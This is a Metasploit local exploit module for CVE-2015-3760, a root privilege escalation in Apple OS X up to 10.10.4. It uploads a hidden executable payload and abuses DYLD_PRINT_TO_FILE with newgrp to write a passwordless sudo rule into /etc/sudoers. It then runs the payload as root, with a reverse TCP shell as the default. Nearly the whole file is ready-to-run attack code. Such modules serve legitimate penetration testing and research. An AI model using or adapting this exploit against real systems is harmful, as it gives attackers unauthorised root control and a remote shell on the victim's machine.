## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Post::OSX::Priv include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation', 'Description' => %q{ In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment variable is used for redirecting logging data to a file instead of stderr. Due to a design error, this feature can be abused by a local attacker to write arbitrary files as root via restricted, SUID-root binaries. }, 'Author' => [ 'Stefan Esser', # Vulnerability discovery and PoC 'joev' # Copy/paste monkey ], 'References' => [ ['CVE', '2015-3760'], ['URL', 'https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html'], ['URL', 'https://www.reddit.com/r/netsec/comments/3e34i2/os_x_1010_dyld_print_to_file_local_privilege/'] ], 'DisclosureDate' => '2015-07-21', 'License' => MSF_LICENSE, 'Platform' => 'osx', 'Arch' => ARCH_X64, 'SessionTypes' => ['shell'], 'Privileged' => true, 'Targets' => [ ['Mac OS X 10.10-10.10.4', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' } )) register_advanced_options [ OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) ] end def base_dir datastore['WritableDir'].to_s end def check (ver?) ? CheckCode::Appears : CheckCode::Safe end def exploit if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end upload payload_file, binary_payload cmd_exec "chmod +x #{payload_file}" print_status "Executing exploit at `#{payload_file}'..." cmd_exec sploit end def ver? Rex::Version.new(get_sysinfo['ProductVersion']).between?( Rex::Version.new('10.10.0'), Rex::Version.new('10.10.4') ) end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data register_file_for_cleanup path end def sploit %Q{/bin/sh -c "echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo #{payload_file} &"} end def binary_payload Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) end def payload_file @payload_file ||= "#{base_dir}/.#{Rex::Text.rand_text_alpha(8..12)}" end end